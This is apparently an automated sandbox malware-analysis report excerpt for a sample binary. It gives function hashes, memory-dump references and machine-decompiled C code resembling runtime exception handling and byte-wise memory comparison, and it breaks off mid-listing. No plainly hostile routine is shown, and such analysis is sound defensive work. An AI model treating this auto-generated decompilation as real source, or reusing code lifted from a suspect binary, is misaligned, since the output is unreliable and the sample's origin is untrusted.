Opcode ID: 6d6de88af16d0c0ec8bac536dccc27cb8c7b65cb9f368fd13322467ccdf4960e
Instruction ID: 4cd068ca660278c9a0c3206e0b6c186b534b1bc88c39ca321e366e83c1ffa83a
Opcode Fuzzy Hash: 6d6de88af16d0c0ec8bac536dccc27cb8c7b65cb9f368fd13322467ccdf4960e
Instruction Fuzzy Hash: 0141D4B5904218EFDB00EFA8D5896ADBBF0FF04304F108969E885A7350EB75A594CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00B12980 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00B129C6

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CreateEvent
String ID:
API String ID: 2692171526-0
Opcode ID: 69d9af216d6dcc409a4ecc076f062cf83dbb5dccf0f97b01d90bb490ca8c9559
Instruction ID: d5684fcfef72fb372939385594a581dd5a49520700666b437935cc04b5fb81ee
Opcode Fuzzy Hash: 69d9af216d6dcc409a4ecc076f062cf83dbb5dccf0f97b01d90bb490ca8c9559
Instruction Fuzzy Hash: 4891C6B0908205DFDB04DFA9D4887EEBBF0FB44304F50886AE8559B390D7799599CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00B1DED0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B1DED0(void* __ebx, void* __ecx, intOrPtr __edx, signed char* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed char* _v0;
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				void* __edi;
				void* __esi;
				signed int _t1005;
				signed int _t1012;
				intOrPtr _t1013;
				void* _t1014;
				signed char* _t1015;
				intOrPtr _t1017;
				signed int _t1020;
				signed int _t1021;
				signed int _t1022;
				signed int _t1025;
				signed int _t1028;
				signed int _t1032;
				signed char _t1049;
				signed char _t1052;
				signed char _t1053;
				signed char _t1054;
				signed char _t1055;
				signed char _t1056;
				signed int _t1245;
				intOrPtr* _t1249;
				intOrPtr _t1250;
				void* _t1252;
				signed int _t1256;
				char _t1258;
				signed int _t1262;
				signed int _t1263;
				signed int _t1270;
				signed char* _t1336;
				signed char* _t1337;
				signed char* _t1338;
				signed char* _t1339;
				signed char* _t1340;
				void* _t1341;
				intOrPtr _t1342;
				signed int _t1344;
				intOrPtr _t1347;
				signed char* _t1350;
				signed char* _t1351;
				signed char* _t1352;
				signed char* _t1353;
				signed char* _t1354;
				signed int _t1355;
				void* _t1359;
				void* _t1360;
				void* _t1367;

				_t1333 = __edx;
				_t1249 = _a4;
				_push(_t1341);
				_v5 = 0;
				_v16 = 1;
				 *_t1249 = E00B2AEA1(__ecx,  *_t1249);
				_t1250 = _a8;
				_t6 = _t1250 + 0x10; // 0x11
				_t1347 = _t6;
				_push(_t1347);
				_v20 = _t1347;
				_v12 =  *(_t1250 + 8) ^  *0xb34050;
				E00B1DE90(_t1250, __edx, _t1341, _t1347,  *(_t1250 + 8) ^  *0xb34050);
				E00B220D7(_a12);
				_t1005 = _a4;
				_t1360 = _t1359 + 0x10;
				_t1342 =  *((intOrPtr*)(_t1250 + 0xc));
				if(( *(_t1005 + 4) & 0x00000066) != 0) {
					__eflags = _t1342 - 0xfffffffe;
					if(_t1342 != 0xfffffffe) {
						_t1333 = 0xfffffffe;
						E00B220C0(_t1250, 0xfffffffe, _t1347, 0xb34050);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t1005;
					_v28 = _a12;
					 *((intOrPtr*)(_t1250 - 4)) =  &_v32;
					if(_t1342 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t1256 = _v12;
							_t1012 = _t1342 + (_t1342 + 2) * 2;
							_t1250 =  *((intOrPtr*)(_t1256 + _t1012 * 4));
							_t1013 = _t1256 + _t1012 * 4;
							_t1257 =  *((intOrPtr*)(_t1013 + 4));
							_v24 = _t1013;
							if( *((intOrPtr*)(_t1013 + 4)) == 0) {
								_t1258 = _v5;
								goto L7;
							} else {
								_t1333 = _t1347;
								_t1014 = E00B22060(_t1257, _t1347);
								_t1258 = 1;
								_v5 = 1;
								_t1367 = _t1014;
								if(_t1367 < 0) {
									_v16 = 0;
									L13:
									_push(_t1347);
									E00B1DE90(_t1250, _t1333, _t1342, _t1347, _v12);
									goto L14;
								} else {
									if(_t1367 > 0) {
										_t1015 = _a4;
										__eflags =  *_t1015 - 0xe06d7363;
										if( *_t1015 == 0xe06d7363) {
											__eflags =  *0xb2c628;
											if(__eflags != 0) {
												_t1245 = E00B21EB0(__eflags, 0xb2c628);
												_t1360 = _t1360 + 4;
												__eflags = _t1245;
												if(_t1245 != 0) {
													_t1355 =  *0xb2c628; // 0xb1dc55
													 *0xb37000(_a4, 1);
													 *_t1355();
													_t1347 = _v20;
													_t1360 = _t1360 + 8;
												}
												_t1015 = _a4;
											}
										}
										_t1334 = _t1015;
										E00B220A0(_t1015, _a8, _t1015);
										_t1017 = _a8;
										__eflags =  *((intOrPtr*)(_t1017 + 0xc)) - _t1342;
										if( *((intOrPtr*)(_t1017 + 0xc)) != _t1342) {
											_t1334 = _t1342;
											E00B220C0(_t1017, _t1342, _t1347, 0xb34050);
											_t1017 = _a8;
										}
										_push(_t1347);
										 *((intOrPtr*)(_t1017 + 0xc)) = _t1250;
										E00B1DE90(_t1250, _t1334, _t1342, _t1347, _v12);
										E00B22080();
										asm("int3");
										_push(_t1347);
										_push(_t1342);
										_t1344 = _v32;
										_t1020 = _t1344;
										__eflags = _t1020;
										if(_t1020 == 0) {
											_t1021 = 0;
											__eflags = 0;
										} else {
											_t1022 = _t1020 - 1;
											__eflags = _t1022;
											if(_t1022 == 0) {
												_t1262 =  *_v0 & 0x000000ff;
												_t1025 =  *_a4 & 0x000000ff;
												goto L511;
											} else {
												_t1028 = _t1022 - 1;
												__eflags = _t1028;
												if(_t1028 == 0) {
													_t1336 = _v0;
													_t1350 = _a4;
													_t1263 = ( *_t1336 & 0x000000ff) - ( *_t1350 & 0x000000ff);
													__eflags = _t1263;
													if(_t1263 != 0) {
														__eflags = _t1263;
														_t993 = _t1263 > 0;
														__eflags = _t993;
														_t1263 = (0 | _t993) * 2 - 1;
													}
													__eflags = _t1263;
													if(__eflags != 0) {
														goto L513;
													} else {
														_t1262 = _t1336[1] & 0x000000ff;
														_t1025 = _t1350[1] & 0x000000ff;
														goto L511;
													}
													goto L529;
												} else {
													_t1032 = _t1028 - 1;
													__eflags = _t1032;
													if(_t1032 == 0) {
														_t1337 = _v0;
														_t1351 = _a4;
														_t1263 = ( *_t1337 & 0x000000ff) - ( *_t1351 & 0x000000ff);
														__eflags = _t1263;
														if(_t1263 != 0) {
															__eflags = _t1263;
															_t979 = _t1263 > 0;
															__eflags = _t979;
															_t1263 = (0 | _t979) * 2 - 1;
														}
														__eflags = _t1263;
														if(_t1263 != 0) {
															goto L513;
														} else {
															_t1263 = (_t1337[1] & 0x000000ff) - (_t1351[1] & 0x000000ff);
															__eflags = _t1263;
															if(_t1263 != 0) {
																__eflags = _t1263;
																_t985 = _t1263 > 0;
																__eflags = _t985;
																_t1263 = (0 | _t985) * 2 - 1;
															}
															__eflags = _t1263;
															if(_t1263 != 0) {
																goto L513;
															} else {
																_t1262 = _t1337[2] & 0x000000ff;
																_t1025 = _t1351[2] & 0x000000ff;
																goto L511;
															}
														}
														goto L529;
													} else {
														__eflags = _t1032 == 1;
														if(_t1032 == 1) {
															_t1338 = _v0;
															_t1352 = _a4;
															_t1263 = ( *_t1338 & 0x000000ff) - ( *_t1352 & 0x000000ff);
															__eflags = _t1263;
															if(_t1263 != 0) {
																__eflags = _t1263;
																_t955 = _t1263 > 0;
																__eflags = _t955;
																_t1263 = (0 | _t955) * 2 - 1;
															}
															__eflags = _t1263;
															if(_t1263 == 0) {
																_t1263 = (_t1338[1] & 0x000000ff) - (_t1352[1] & 0x000000ff);
																__eflags = _t1263;
																if(_t1263 != 0) {
																	__eflags = _t1263;
																	_t961 = _t1263 > 0;
																	__eflags = _t961;
																	_t1263 = (0 | _t961) * 2 - 1;
																}
																__eflags = _t1263;
																if(_t1263 == 0) {
																	_t1263 = (_t1338[2] & 0x000000ff) - (_t1352[2] & 0x000000ff);
																	__eflags = _t1263;
																	if(_t1263 != 0) {
																		__eflags = _t1263;
																		_t967 = _t1263 > 0;
																		__eflags = _t967;
																		_t1263 = (0 | _t967) * 2 - 1;
																	}
																	__eflags = _t1263;
																	if(_t1263 == 0) {
																		_t1262 = _t1338[3] & 0x000000ff;
																		_t1025 = _t1352[3] & 0x000000ff;
																		L511:
																		_t1263 = _t1262 - _t1025;
																		__eflags = _t1263;
																		if(_t1263 != 0) {
																			__eflags = _t1263;
																			_t973 = _t1263 > 0;
																			__eflags = _t973;
																			_t1263 = (0 | _t973) * 2 - 1;
																		}
																	}
																}
															}
															L513:
															_t1021 = _t1263;
														} else {
															_t1339 = _a4;
															_t1353 = _v0;
															_push(_t1250);
															_t1252 = 0x20;
															while(1) {
																__eflags = _t1344 - _t1252;
																if(_t1344 < _t1252) {
																	break;
																}
																_t1049 =  *_t1353;
																__eflags = _t1049 -  *_t1339;
																if(_t1049 ==  *_t1339) {
																	L42:
																	__eflags = _t1353[4] - _t1339[4];
																	if(_t1353[4] == _t1339[4]) {
																		L55:
																		__eflags = _t1353[8] - _t1339[8];
																		if(_t1353[8] == _t1339[8]) {
																			L68:
																			_t1052 = _t1353[0xc];
																			__eflags = _t1052 - _t1339[0xc];
																			if(_t1052 == _t1339[0xc]) {
																				L81:
																				_t1053 = _t1353[0x10];
																				__eflags = _t1053 - _t1339[0x10];
																				if(_t1053 == _t1339[0x10]) {
																					L94:
																					_t1054 = _t1353[0x14];
																					__eflags = _t1054 - _t1339[0x14];
																					if(_t1054 == _t1339[0x14]) {
																						L107:
																						_t1055 = _t1353[0x18];
																						__eflags = _t1055 - _t1339[0x18];
																						if(_t1055 == _t1339[0x18]) {
																							L120:
																							_t1056 = _t1353[0x1c];
																							__eflags = _t1056 - _t1339[0x1c];
																							if(_t1056 == _t1339[0x1c]) {
																								L133:
																								_t1353 =  &(_t1353[_t1252]);
																								_t1339 =  &(_t1339[_t1252]);
																								_t1344 = _t1344 - _t1252;
																								__eflags = _t1344;
																								continue;
																							} else {
																								_t1270 = (_t1056 & 0x000000ff) - (_t1339[0x1c] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t228 = _t1270 > 0;
																									__eflags = _t228;
																									_t1270 = (0 | _t228) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									_t1270 = (_t1353[0x1d] & 0x000000ff) - (_t1339[0x1d] & 0x000000ff);
																									__eflags = _t1270;
																									if(_t1270 != 0) {
																										__eflags = _t1270;
																										_t234 = _t1270 > 0;
																										__eflags = _t234;
																										_t1270 = (0 | _t234) * 2 - 1;
																									}
																									__eflags = _t1270;
																									if(_t1270 == 0) {
																										_t1270 = (_t1353[0x1e] & 0x000000ff) - (_t1339[0x1e] & 0x000000ff);
																										__eflags = _t1270;
																										if(_t1270 != 0) {
																											__eflags = _t1270;
																											_t240 = _t1270 > 0;
																											__eflags = _t240;
																											_t1270 = (0 | _t240) * 2 - 1;
																										}
																										__eflags = _t1270;
																										if(_t1270 == 0) {
																											_t1270 = (_t1353[0x1f] & 0x000000ff) - (_t1339[0x1f] & 0x000000ff);
																											__eflags = _t1270;
																											if(_t1270 != 0) {
																												__eflags = _t1270;
																												_t246 = _t1270 > 0;
																												__eflags = _t246;
																												_t1270 = (0 | _t246) * 2 - 1;
																											}
																											__eflags = _t1270;
																											if(_t1270 == 0) {
																												goto L133;
																											}
																										}
																									}
																								}
																							}
																						} else {
																							_t1270 = (_t1055 & 0x000000ff) - (_t1339[0x18] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t203 = _t1270 > 0;
																								__eflags = _t203;
																								_t1270 = (0 | _t203) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								_t1270 = (_t1353[0x19] & 0x000000ff) - (_t1339[0x19] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t209 = _t1270 > 0;
																									__eflags = _t209;
																									_t1270 = (0 | _t209) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									_t1270 = (_t1353[0x1a] & 0x000000ff) - (_t1339[0x1a] & 0x000000ff);
																									__eflags = _t1270;
																									if(_t1270 != 0) {
																										__eflags = _t1270;
																										_t215 = _t1270 > 0;
																										__eflags = _t215;
																										_t1270 = (0 | _t215) * 2 - 1;
																									}
																									__eflags = _t1270;
																									if(_t1270 == 0) {
																										_t1270 = (_t1353[0x1b] & 0x000000ff) - (_t1339[0x1b] & 0x000000ff);
																										__eflags = _t1270;
																										if(_t1270 != 0) {
																											__eflags = _t1270;
																											_t221 = _t1270 > 0;
																											__eflags = _t221;
																											_t1270 = (0 | _t221) * 2 - 1;
																										}
																										__eflags = _t1270;
																										if(_t1270 == 0) {
																											goto L120;
																										}
																									}
																								}
																							}
																						}
																					} else {
																						_t1270 = (_t1054 & 0x000000ff) - (_t1339[0x14] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t178 = _t1270 > 0;
																							__eflags = _t178;
																							_t1270 = (0 | _t178) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							_t1270 = (_t1353[0x15] & 0x000000ff) - (_t1339[0x15] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t184 = _t1270 > 0;
																								__eflags = _t184;
																								_t1270 = (0 | _t184) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								_t1270 = (_t1353[0x16] & 0x000000ff) - (_t1339[0x16] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t190 = _t1270 > 0;
																									__eflags = _t190;
																									_t1270 = (0 | _t190) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									_t1270 = (_t1353[0x17] & 0x000000ff) - (_t1339[0x17] & 0x000000ff);
																									__eflags = _t1270;
																									if(_t1270 != 0) {
																										__eflags = _t1270;
																										_t196 = _t1270 > 0;
																										__eflags = _t196;
																										_t1270 = (0 | _t196) * 2 - 1;
																									}
																									__eflags = _t1270;
																									if(_t1270 == 0) {
																										goto L107;
																									}
																								}
																							}
																						}
																					}
																				} else {
																					_t1270 = (_t1053 & 0x000000ff) - (_t1339[0x10] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t153 = _t1270 > 0;
																						__eflags = _t153;
																						_t1270 = (0 | _t153) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						_t1270 = (_t1353[0x11] & 0x000000ff) - (_t1339[0x11] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t159 = _t1270 > 0;
																							__eflags = _t159;
																							_t1270 = (0 | _t159) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							_t1270 = (_t1353[0x12] & 0x000000ff) - (_t1339[0x12] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t165 = _t1270 > 0;
																								__eflags = _t165;
																								_t1270 = (0 | _t165) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								_t1270 = (_t1353[0x13] & 0x000000ff) - (_t1339[0x13] & 0x000000ff);
																								__eflags = _t1270;
																								if(_t1270 != 0) {
																									__eflags = _t1270;
																									_t171 = _t1270 > 0;
																									__eflags = _t171;
																									_t1270 = (0 | _t171) * 2 - 1;
																								}
																								__eflags = _t1270;
																								if(_t1270 == 0) {
																									goto L94;
																								}
																							}
																						}
																					}
																				}
																			} else {
																				_t1270 = (_t1052 & 0x000000ff) - (_t1339[0xc] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t128 = _t1270 > 0;
																					__eflags = _t128;
																					_t1270 = (0 | _t128) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = (_t1353[0xd] & 0x000000ff) - (_t1339[0xd] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t134 = _t1270 > 0;
																						__eflags = _t134;
																						_t1270 = (0 | _t134) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						_t1270 = (_t1353[0xe] & 0x000000ff) - (_t1339[0xe] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t140 = _t1270 > 0;
																							__eflags = _t140;
																							_t1270 = (0 | _t140) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							_t1270 = (_t1353[0xf] & 0x000000ff) - (_t1339[0xf] & 0x000000ff);
																							__eflags = _t1270;
																							if(_t1270 != 0) {
																								__eflags = _t1270;
																								_t146 = _t1270 > 0;
																								__eflags = _t146;
																								_t1270 = (0 | _t146) * 2 - 1;
																							}
																							__eflags = _t1270;
																							if(_t1270 == 0) {
																								goto L81;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t1270 = (_t1353[8] & 0x000000ff) - (_t1339[8] & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t103 = _t1270 > 0;
																				__eflags = _t103;
																				_t1270 = (0 | _t103) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = (_t1353[9] & 0x000000ff) - (_t1339[9] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t109 = _t1270 > 0;
																					__eflags = _t109;
																					_t1270 = (0 | _t109) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = (_t1353[0xa] & 0x000000ff) - (_t1339[0xa] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t115 = _t1270 > 0;
																						__eflags = _t115;
																						_t1270 = (0 | _t115) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						_t1270 = (_t1353[0xb] & 0x000000ff) - (_t1339[0xb] & 0x000000ff);
																						__eflags = _t1270;
																						if(_t1270 != 0) {
																							__eflags = _t1270;
																							_t121 = _t1270 > 0;
																							__eflags = _t121;
																							_t1270 = (0 | _t121) * 2 - 1;
																						}
																						__eflags = _t1270;
																						if(_t1270 == 0) {
																							goto L68;
																						}
																					}
																				}
																			}
																		}
																	} else {
																		_t1270 = (_t1353[4] & 0x000000ff) - (_t1339[4] & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t77 = _t1270 > 0;
																			__eflags = _t77;
																			_t1270 = (0 | _t77) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = (_t1353[5] & 0x000000ff) - (_t1339[5] & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t83 = _t1270 > 0;
																				__eflags = _t83;
																				_t1270 = (0 | _t83) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = (_t1353[6] & 0x000000ff) - (_t1339[6] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t89 = _t1270 > 0;
																					__eflags = _t89;
																					_t1270 = (0 | _t89) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = (_t1353[7] & 0x000000ff) - (_t1339[7] & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t95 = _t1270 > 0;
																						__eflags = _t95;
																						_t1270 = (0 | _t95) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L55;
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t1270 = (_t1049 & 0x000000ff) - ( *_t1339 & 0x000000ff);
																	__eflags = _t1270;
																	if(_t1270 != 0) {
																		__eflags = _t1270;
																		_t51 = _t1270 > 0;
																		__eflags = _t51;
																		_t1270 = (0 | _t51) * 2 - 1;
																	}
																	__eflags = _t1270;
																	if(_t1270 == 0) {
																		_t1270 = (_t1353[1] & 0x000000ff) - (_t1339[1] & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t57 = _t1270 > 0;
																			__eflags = _t57;
																			_t1270 = (0 | _t57) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = (_t1353[2] & 0x000000ff) - (_t1339[2] & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t63 = _t1270 > 0;
																				__eflags = _t63;
																				_t1270 = (0 | _t63) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = (_t1353[3] & 0x000000ff) - (_t1339[3] & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t69 = _t1270 > 0;
																					__eflags = _t69;
																					_t1270 = (0 | _t69) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					goto L42;
																				}
																			}
																		}
																	}
																}
																L228:
																_t1021 = _t1270;
																goto L528;
															}
															_t1354 =  &(_t1353[_t1344]);
															_t1340 =  &(_t1339[_t1344]);
															switch( *((intOrPtr*)(_t1344 * 4 +  &M00B1F62A))) {
																case 0:
																	L227:
																	_t1270 = 0;
																	__eflags = 0;
																	goto L228;
																case 1:
																	L320:
																	__eax =  *(__edx - 1) & 0x000000ff;
																	__ecx =  *(__esi - 1) & 0x000000ff;
																	__ecx = ( *(__esi - 1) & 0x000000ff) - ( *(__edx - 1) & 0x000000ff);
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		__eax = 0;
																		__eflags = __ecx;
																		__eax = 0 | __ecx > 0x00000000;
																		__ecx = (__ecx > 0) * 2 - 1;
																	}
																	goto L228;
																case 2:
																	L413:
																	__eflags =  *(__esi - 2) -  *(__edx - 2);
																	if( *(__esi - 2) ==  *(__edx - 2)) {
																		goto L227;
																	} else {
																		goto L317;
																	}
																	goto L529;
																case 3:
																	L314:
																	__eax =  *(__edx - 3) & 0x000000ff;
																	__ecx =  *(__esi - 3) & 0x000000ff;
																	__ecx = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		__eax = 0;
																		__eflags = __ecx;
																		_t594 = __ecx > 0;
																		__eflags = _t594;
																		__eax = 0 | _t594;
																		__ecx = _t594 * 2 - 1;
																	}
																	__eflags = __ecx;
																	if(__ecx != 0) {
																		goto L228;
																	} else {
																		L317:
																		__eax =  *(__edx - 2) & 0x000000ff;
																		__ecx =  *(__esi - 2) & 0x000000ff;
																		__ecx = ( *(__esi - 2) & 0x000000ff) - ( *(__edx - 2) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t600 = __ecx > 0;
																			__eflags = _t600;
																			__eax = 0 | _t600;
																			__ecx = _t600 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			goto L320;
																		}
																	}
																	goto L529;
																case 4:
																	L214:
																	_t1063 =  *(_t1354 - 4);
																	__eflags = _t1063 -  *(_t1340 - 4);
																	if(_t1063 ==  *(_t1340 - 4)) {
																		goto L227;
																	} else {
																		_t1270 = (_t1063 & 0x000000ff) - ( *(_t1340 - 4) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t405 = _t1270 > 0;
																			__eflags = _t405;
																			_t1270 = (0 | _t405) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 3) & 0x000000ff) - ( *(_t1340 - 3) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t411 = _t1270 > 0;
																				__eflags = _t411;
																				_t1270 = (0 | _t411) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 2) & 0x000000ff) - ( *(_t1340 - 2) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t417 = _t1270 > 0;
																					__eflags = _t417;
																					_t1270 = (0 | _t417) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 1) & 0x000000ff) - ( *(_t1340 - 1) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t423 = _t1270 > 0;
																						__eflags = _t423;
																						_t1270 = (0 | _t423) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L227;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 5:
																	L307:
																	__eax =  *(__esi - 5);
																	__eflags =  *(__esi - 5) -  *(__edx - 5);
																	if( *(__esi - 5) ==  *(__edx - 5)) {
																		goto L320;
																	} else {
																		goto L308;
																	}
																	goto L529;
																case 6:
																	L400:
																	__eax =  *(__esi - 6);
																	__eflags =  *(__esi - 6) -  *(__edx - 6);
																	if( *(__esi - 6) ==  *(__edx - 6)) {
																		goto L413;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 6) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t764 = __ecx > 0;
																			__eflags = _t764;
																			__eax = 0 | _t764;
																			__ecx = _t764 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 5) & 0x000000ff;
																			__eax =  *(__edx - 5) & 0x000000ff;
																			__ecx = ( *(__esi - 5) & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t770 = __ecx > 0;
																				__eflags = _t770;
																				__eax = 0 | _t770;
																				__ecx = _t770 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 4) & 0x000000ff;
																				__eax =  *(__edx - 4) & 0x000000ff;
																				__ecx = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t776 = __ecx > 0;
																					__eflags = _t776;
																					__eax = 0 | _t776;
																					__ecx = _t776 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 3) & 0x000000ff;
																					__eax =  *(__edx - 3) & 0x000000ff;
																					__ecx = ( *(__esi - 3) & 0x000000ff) - ( *(__edx - 3) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t782 = __ecx > 0;
																						__eflags = _t782;
																						__eax = 0 | _t782;
																						__ecx = _t782 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L413;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 7:
																	L493:
																	__eax =  *(__esi - 7);
																	__eflags =  *(__esi - 7) -  *(__edx - 7);
																	if( *(__esi - 7) ==  *(__edx - 7)) {
																		goto L314;
																	} else {
																		__eax =  *(__edx - 7) & 0x000000ff;
																		__ecx =  *(__esi - 7) & 0x000000ff;
																		__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t943 = __ecx > 0;
																			__eflags = _t943;
																			__eax = 0 | _t943;
																			__ecx = _t943 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 6) & 0x000000ff;
																			__eax =  *(__edx - 6) & 0x000000ff;
																			__ecx = ( *(__esi - 6) & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
